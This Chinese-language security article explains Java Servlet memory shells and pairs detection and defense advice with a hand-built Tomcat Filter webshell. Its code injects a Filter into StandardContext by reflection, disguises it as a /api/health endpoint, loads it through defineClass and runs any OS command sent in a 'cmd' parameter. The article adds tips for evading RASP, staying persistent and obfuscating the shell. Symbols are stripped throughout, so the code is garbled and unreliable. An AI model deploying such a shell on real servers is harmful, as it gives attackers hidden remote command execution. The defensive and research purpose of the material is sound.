1. 项目概述从文件马到内存马的攻防演进在Java Web安全领域内存马Memory Shell已经从一个相对小众的技术概念演变为当前攻防对抗中的主流武器。如果你还在用那些从网上下载的、特征明显的JSP文件马那基本等于在安全设备的眼皮底下裸奔。我见过太多项目部署了WAF、上了防篡改结果还是被一个反序列化漏洞配合内存马打穿运维人员拿着文件监控日志一脸茫然因为攻击者的后门根本没落地。内存马顾名思义是一种无文件落地的WebShell。它的核心思想是利用Java的类加载机制或Java Agent技术在Web容器如Tomcat或应用框架如Spring运行时动态地将一个恶意的处理逻辑比如一个Filter、一个Servlet、一个Valve注册到请求处理链中。这样一来攻击者就能通过特定的URL路径远程执行命令、上传文件而这一切操作都发生在内存里传统的基于文件特征或静态签名的检测手段几乎完全失效。这个项目标题“Java安全之Servlet内存马原理、实现与防御”精准地概括了当前Java Web安全的一个核心痛点。它不仅仅是讲一个攻击技巧更是一个完整的攻防视角。你需要理解Servlet容器如何处理请求才能知道在哪里“插队”注入恶意代码你需要知道如何实现它才能复现攻击进行测试你更需要知道如何防御和查杀才能守住自己的阵地。接下来我会结合我多年的实战和代码审计经验带你彻底拆解这个主题从底层原理到手工复现再到防御思路给你一套完整的认知和实践框架。2. Servlet内存马的核心原理在请求的血管里下毒要理解内存马你必须先吃透Servlet容器的请求处理流程。你可以把一次HTTP请求想象成血液在血管FilterChain中流动最终到达心脏Servlet进行处理。内存马的目的就是在某段血管里偷偷加一个“血栓过滤器”或者直接伪装成一个小心脏Servlet截获流经的“血液”请求数据。2.1 Servlet容器的请求处理链以最经典的Tomcat为例一个请求的旅程是这样的Connector接收 CoyoteAdapter将Socket连接转化为Request/Response对象。Pipeline-Valve管道阀处理 请求依次经过Engine、Host、Context、Wrapper各级容器的Valve链。这是Tomcat自身的责任链。FilterChain过滤链处理 进入具体的Web应用后根据web.xml或注解配置匹配并组装一个ApplicationFilterChain其中包含一系列Filter。Servlet处理 经过所有Filter后请求最终到达目标Servlet的service方法。内存马攻击的关键就在于第2、3、4步。攻击者可以在这三个环节的任意一处动态植入自己的恶意组件。2.2 动态注册的API基础ServletContextServlet 3.0规范引入了动态注册组件的能力核心接口是javax.servlet.ServletContext。它提供了addServlet、addFilter、addListener等方法。这本来是为了方便框架如Spring在程序启动时进行编程式配置但却被攻击者利用在运行时进行恶意注册。这里有一个关键限制Tomcat的StandardContext类有一个state属性表示应用生命周期状态如STARTING、STARTED、STOPPING。当状态为STARTED运行时时直接调用addFilter等方法会抛出IllegalStateException。因此早期的内存马需要先通过反射将state属性修改为STARTING或STARTING_PREP注册完成后再改回去。这是一个非常经典的“先降权后提权”思路。实操心得直接反射修改state虽然直接但动静较大容易触发某些RASP运行时应用自保护的监控。更隐蔽的做法是利用某些框架的初始化扩展点如ServletContainerInitializer或监听器ServletContextListener在应用启动早期完成注入此时状态本身就是STARTING无需修改。2.3 内存马的类型与植入点根据植入的环节不同内存马主要分为以下几类其危害性和隐蔽性也各有差异Filter型内存马 植入到ApplicationFilterChain中。这是最常见、最经典的类型。因为它位于Servlet之前可以拦截所有匹配路径的请求功能强大实现也相对直接。Servlet型内存马 动态注册一个恶意的Servlet并为其分配一个隐蔽的URL模式。它的好处是逻辑独立不像Filter那样需要关注doFilter方法的链式传递chain.doFilter。Listener型内存马 注册一个ServletRequestListener在requestInitialized或requestDestroyed方法中执行恶意代码。这种马更为隐蔽因为它不改变原有的Filter或Servlet映射只是“监听”请求事件。更高级的玩法是在监听器中判断特定请求特征临时注册一个Filter马用完后销毁实现“瞬发即隐”。Valve型内存马 针对Tomcat容器的Pipeline-Valve机制在StandardContext的Pipeline中添加一个自定义的Valve。由于它位于更底层的容器层面能绕过一些应用层面的防护。Controller/Interceptor型内存马 针对Spring MVC框架。向RequestMappingHandlerMapping中注册恶意Controller或向AbstractHandlerMapping的拦截器链中添加恶意拦截器。这要求你对Spring的上下文ApplicationContext有获取能力。Agent型内存马这是当前最顶级、最难以防御的类型。它利用Java Agent的InstrumentationAPI直接修改JVM中已加载类的字节码例如修改HttpServlet#service或ApplicationFilterChain#internalDoFilter方法。冰蝎Behinder等工具普及了这种技术。这种马与具体容器/框架无关驻留在JVM层面即使应用重启也可能存活如果做了持久化。3. 手动实现一个Filter型内存马光说不练假把式。我们以最常见的Tomcat Filter型内存马为例手把手实现一个。假设我们已通过一个反序列化漏洞获得了执行任意代码的能力例如通过Runtime.exec或自定义类加载器。我们的目标向当前Web应用的StandardContext中动态注入一个Filter该Filter会对包含特定参数如cmd的请求执行系统命令并回显结果。3.1 第一步获取当前Web应用的StandardContext这是所有内存马注入的前提。StandardContext是Tomcat对ServletContext的实现存放了所有Filter、Servlet、Listener的配置信息。没有它后续操作无从谈起。获取方式有多种这里介绍两种最通用的方法一从线程上下文获取// 获取当前请求的Request对象 ServletRequest req ... // 从反序列化漏洞的入口点获取或者通过ThreadLocal尝试获取 org.apache.catalina.connector.RequestFacade requestFacade (org.apache.catalina.connector.RequestFacade) req; Field requestField RequestFacade.class.getDeclaredField(request); requestField.setAccessible(true); org.apache.catalina.connector.Request tomcatRequest (org.apache.catalina.connector.Request) requestField.get(requestFacade); // 从Request对象中获取StandardContext org.apache.catalina.core.StandardContext standardContext (org.apache.catalina.core.StandardContext) tomcatRequest.getContext();方法二从当前线程的ClassLoader向上查找// 获取当前WebAppClassLoader WebappClassLoader webappClassLoader (WebappClassLoader) Thread.currentThread().getContextClassLoader(); // 通过ClassLoader的resources属性找到Context Field resourcesField WebappClassLoader.class.getDeclaredField(resources); resourcesField.setAccessible(true); WebResources resources (WebResources) resourcesField.get(webappClassLoader); // 需要再通过resources找到Context此方法在不同Tomcat版本中可能不稳定 // 更稳健的方法是遍历当前线程的栈帧找到调用org.apache.catalina.core.ApplicationFilterChain#doFilter的Request对象。注意事项获取StandardContext是内存马实现中最容易因Tomcat版本差异而“翻车”的环节。Tomcat 7/8/9/10的内部类结构和字段名可能有变化。在生产环境利用时最好准备多套兼容代码或者采用更稳定的反射遍历方式。一个技巧是先尝试获取ServletRequest然后逐步反射拆解因为对外接口是稳定的。3.2 第二步创建并注册恶意Filter拿到StandardContext后我们需要完成三件事创建一个FilterDef对象定义Filter的名称和类。将FilterDef添加到standardContext的filterDefs(Map)中。创建一个FilterMap将URL模式映射到Filter名称并添加到filterMaps(List)中。触发filterStart()方法根据filterDefs生成filterConfigs(Map)。这里有一个关键细节为了让我们的Filter能最先被执行避免被其他安全Filter拦截我们需要将FilterMap插入到filterMaps列表的最前面。// 假设已获取到 standardContext String filterName evilFilter; String urlPattern /api/health; // 伪装成一个健康检查接口 // 1. 创建FilterDef FilterDef filterDef new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(EvilMemoryFilter.class.getName()); // 我们的恶意Filter类 filterDef.setFilter(new EvilMemoryFilter()); // 也可以后续通过filterConfigs获取实例 // 2. 添加到filterDefs standardContext.addFilterDef(filterDef); // 3. 创建并添加FilterMap到首位 FilterMap filterMap new FilterMap(); filterMap.setFilterName(filterName); filterMap.addURLPattern(urlPattern); filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 通常处理REQUEST // 关键插入到filterMaps列表的第一个位置 standardContext.addFilterMapBefore(filterMap); // 4. 创建FilterConfig并放入filterConfigs (这一步通常由filterStart()完成但动态添加时需要手动补全) // 反射获取filterConfigs Field filterConfigsField StandardContext.class.getDeclaredField(filterConfigs); filterConfigsField.setAccessible(true); MapString, ApplicationFilterConfig filterConfigs (Map) filterConfigsField.get(standardContext); // 构造ApplicationFilterConfig Constructor constructor ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(filterName, filterConfig);3.3 第三步编写恶意Filter类EvilMemoryFilter需要实现javax.servlet.Filter接口。核心逻辑写在doFilter方法中。public class EvilMemoryFilter implements Filter { Override public void init(FilterConfig filterConfig) throws ServletException {} Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req (HttpServletRequest) request; HttpServletResponse resp (HttpServletResponse) response; // 1. 定义触发恶意行为的参数例如 cmd String cmd req.getParameter(cmd); if (cmd ! null !cmd.isEmpty()) { // 2. 执行命令并回显 boolean isLinux true; String osTyp System.getProperty(os.name); if (osTyp ! null osTyp.toLowerCase().contains(win)) { isLinux false; } String[] cmds isLinux ? new String[]{/bin/sh, -c, cmd} : new String[]{cmd.exe, /c, cmd}; try { Process p Runtime.getRuntime().exec(cmds); java.io.BufferedReader br new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); StringBuilder sb new StringBuilder(); String line; while ((line br.readLine()) ! null) { sb.append(line).append(\n); } // 将结果写入响应 resp.getWriter().write(sb.toString()); resp.getWriter().flush(); // 关键执行恶意逻辑后直接return不再调用chain.doFilter中断后续Filter链 return; } catch (Exception e) { resp.getWriter().write(Execute Error: e.getMessage()); } } // 3. 如果是正常请求放行 chain.doFilter(request, response); } Override public void destroy() {} }实操心得在doFilter中判断恶意参数后执行完命令一定要记得return而不是继续调用chain.doFilter。否则你的恶意响应可能会被后续Filter如压缩Filter、编码Filter修改或覆盖导致回显失败。这是新手最容易踩的坑。3.4 第四步类的加载与实例化上面的代码有个问题EvilMemoryFilter这个类如何加载到当前JVM中在反序列化漏洞利用场景下我们通常有几种方式自定义ClassLoader加载字节码 将EvilMemoryFilter.class文件的字节数组通过defineClass方法加载。这是最灵活的方式。利用已有类加载器 如果目标应用依赖了某个包含恶意类的Jar包概率极低或者通过文件上传临时写入了一个Jar/WAR包然后加载。Java Agent的retransformClasses 这是Agent马的领域可以直接修改某个已存在的无害Filter类的字节码将其变成恶意Filter。这里给出一个通过当前线程ClassLoader加载字节码的简化示例// 假设 evilFilterClassBytes 是 EvilMemoryFilter.class 文件的字节数组 ClassLoader cl Thread.currentThread().getContextClassLoader(); Method defineClassMethod ClassLoader.class.getDeclaredMethod(defineClass, String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class evilFilterClass (Class) defineClassMethod.invoke(cl, com.evil.EvilMemoryFilter, evilFilterClassBytes, 0, evilFilterClassBytes.length); // 然后可以用 evilFilterClass.newInstance() 创建实例至此一个基础的Filter型内存马就完成了。访问http://target.com/app/api/health?cmdwhoami就能执行命令。4. 内存马的防御与查杀思路知道了怎么攻击才能更好地防御。防御内存马是一个立体工程需要从多个层面进行布防。4.1 防御让马无处可下1. 代码层防御治本杜绝反序列化漏洞 这是内存马最主要的注入途径。严格检查所有反序列化入口使用白名单机制或升级到安全的反序列化组件如Jackson。加固框架与中间件 及时修补Struts2、Fastjson、Shiro、Log4j2等组件的已知RCE漏洞。最小权限原则 运行Tomcat的账户不应具有执行系统命令的高权限。2. 运行时防御RASP - Runtime Application Self-Protection这是对抗内存马最有效的手段之一。RASP通过在应用内部注入探针监控关键行为。Hook关键API 监控ServletContext.addFilter/addServlet、StandardContext.addFilterMapBefore、RequestMappingHandlerMapping.registerMapping等方法。当检测到在运行时stateSTARTED动态注册行为时立即告警并阻断。监控类加载行为 监控非标准路径如非WEB-INF/lib、WEB-INF/classes或由非WebAppClassLoader发起的类加载行为特别是defineClass的调用。监控Java Agent附着 监控VirtualMachine.attach和Instrumentation.retransformClasses/redefineClasses的调用这是防御Agent马的关键。3. 应用配置加固关闭Tomcat的Manager应用和默认应用减少攻击面。使用SecurityManager并配置严格的安全策略限制Runtime.exec、defineClass等危险操作。在web.xml中配置全局安全Filter对请求参数进行严格的格式和内容检查。4.2 查杀揪出已经潜入的马即使防御措施被绕过我们还需要有查杀的能力。查杀思路主要从“静态特征”和“动态行为”两个维度出发。1. 静态特征扫描针对已注册的马扫描容器内的组件列表 遍历StandardContext的filterDefs、filterMaps、servletMappings、applicationEventListenersObjects等集合。这是最直接的检查。分析组件类来源类加载器分析 检查注册的Filter/Servlet/Listener的Class是由哪个ClassLoader加载的。如果是由URLClassLoader加载的一个内存字节数组或者是一个不常见的、与业务无关的ClassLoader则高度可疑。类文件资源检查 通过ClassLoader.getResource(className.replace(., /) .class)检查该类在磁盘上是否有对应的.class文件。无文件落地的内存马此方法通常返回null。但注意攻击者可以重写ClassLoader.findResource方法来伪造资源路径绕过此检查。类字节码反编译与特征匹配 将可疑类的字节码dump出来反编译后搜索危险操作的特征字符串如Runtime.exec、ProcessBuilder.start、defineClass、invoke等。也可以结合简单的代码属性分析如方法复杂度、系统API调用频率。2. 动态行为监控针对正在执行的马请求流量审计 在网关或应用层审计所有请求关注非常规路径如/api/health、/upload、/admin等、参数中携带cmd、bash、powershell等敏感关键词的请求。RASP行为监控 监控所有命令执行、文件读写、网络连接、反射调用、JNDI查询等危险行为。当发现来自一个动态注册的、来源可疑的组件时立即告警。线程堆栈分析 定期采样请求处理线程的堆栈。如果一个请求的堆栈中出现了未知的、非业务相关的Filter或Servlet类则可能存在问题。3. 针对Agent马的专项查杀Agent马是降维打击常规的扫描容器组件的方法无效。必须从JVM层面入手。列出已加载的Agent Jar 通过ManagementFactory.getRuntimeMXBean().getInputArguments()查看JVM启动参数中的-javaagent或尝试通过Instrumentation接口获取所有已加载的Agent。检查已转换的类 这是一个难点。可以尝试通过Instrumentation.getAllLoadedClasses()获取所有类然后对关键类如HttpServlet、ApplicationFilterChain进行字节码的哈希校验与标准的JDK或Tomcat Jar包中的字节码进行对比。但攻击者可能进行多次转换还原原始字节码。内存扫描 使用JVMTI工具或sa-jdiSun Debugger Interface直接扫描JVM堆内存寻找可疑的、包含恶意代码片段的字节数组或Class对象。这对技术要求极高。4.3 一个简单的查杀工具思路我们可以编写一个简单的Servlet将其注册为管理接口需授权访问用于自查。其核心逻辑如下// 伪代码展示核心查杀逻辑 public class MemoryShellScannerServlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { // 1. 获取当前Context ServletContext sc getServletContext(); Field ctxField sc.getClass().getDeclaredField(context); ctxField.setAccessible(true); StandardContext standardContext ... // 多层反射获取 // 2. 扫描Filter MapString, FilterDef filterDefs standardContext.findFilterDefs(); for (Map.EntryString, FilterDef entry : filterDefs.entrySet()) { String name entry.getKey(); FilterDef def entry.getValue(); Class? filterClass def.getFilterClass(); ClassLoader cl filterClass.getClassLoader(); // 检查点1类加载器是否可疑 if (cl ! null !(cl instanceof WebappClassLoader)) { reportSuspicious(Filter: name loaded by non-WebappClassLoader: cl); } // 检查点2类文件是否存在 String resourcePath filterClass.getName().replace(., /) .class; if (cl.getResource(resourcePath) null) { reportSuspicious(Filter: name has no disk resource, possible memory shell.); } // 检查点3类名/包名是否可疑黑名单或异常 if (filterClass.getName().contains(shell) || filterClass.getName().contains(memshell)) { reportSuspicious(Filter: name has suspicious class name.); } } // 3. 扫描Servlet (类似逻辑) // 4. 扫描Listener (类似逻辑) // 5. 输出报告 resp.getWriter().write(scanReport); } }注意事项这种自查工具本身也可能被攻击者发现并利用。因此最好将其集成到独立的安全Agent中或者定期在运维层面使用离线工具扫描生产环境的内存快照。切勿在暴露的界面上提供一键“清除”功能这可能导致攻击者利用该功能清除其他攻击者留下的马甚至清除你的安全防护组件。5. 高级对抗与未来趋势攻防对抗是永无止境的。当基础的Filter/Servlet马被广泛防御后攻击技术也在进化。1. 内存马的“无特征”化模仿业务类 恶意类继承或模仿一个正常的业务Filter在doFilter中先调用super.doFilter或chain.doFilter执行正常逻辑然后再执行恶意代码增加识别难度。使用合法ClassLoader 想方设法让恶意类被正常的WebappClassLoader从URLClassLoader的某个合法URL如通过文件上传临时放入WEB-INF/lib/的Jar加载从而通过“类来源”检查。代码混淆与加密 恶意类的字节码经过混淆或加密运行时解密使反编译后的代码难以分析。2. 注入点的深层次挖掘除了Servlet API更多框架和中间件的内部链被挖掘Tomcat的ThreadLocal 尝试将恶意逻辑绑定到某个ThreadLocal变量在请求线程中触发。Spring的HandlerMethodArgumentResolver 自定义参数解析器在解析特定参数时执行代码。MyBatis的Interceptor 注入MyBatis的插件在SQL执行前后做手脚。JDBC驱动层 替换或包装DataSource、Connection拦截所有SQL查询。3. 持久化与复活利用ServletContainerInitializer 在META-INF/services/javax.servlet.ServletContainerInitializer文件中注册自己的实现确保应用每次启动时自动注入。修改web.xml或框架配置文件 如果具有文件写入权限直接修改配置文件是最持久的。Agent马的持久化 将Agent Jar包路径写入catalina.sh的JAVA_OPTS中或者通过jvmti方式植入实现重启后依然存活。4. 防御技术的演进行为序列建模 不再仅仅监控单个危险API而是建立正常的请求处理行为序列模型。当发现一个Filter的执行逻辑中突然多出了“读取参数-反射调用-执行命令-写回响应”这个异常序列时即使每个步骤单独看都可能被绕过但组合起来就能准确识别。机器学习辅助 对JVM中加载的所有类进行特征提取如API调用图、常量池特征、控制流复杂度训练模型识别异常类。可信计算基 通过硬件或系统级的安全模块对应用的核心字节码和配置进行完整性度量任何未经授权的修改都会被检测到。内存马的攻防本质上是权限的争夺。攻击者想在你的应用进程内获得一块合法的、可执行代码的区域。而防御者需要守护好程序执行的每一处边界。这场战斗发生在内存的方寸之间没有硝烟却至关重要。对于开发者而言理解其原理不是为了作恶而是为了构建更坚固的防线。每一次漏洞的修补每一次安全的代码实践都是在缩小攻击者可以利用的阵地。安全是一个过程而非一个状态保持警惕持续学习才是应对之道。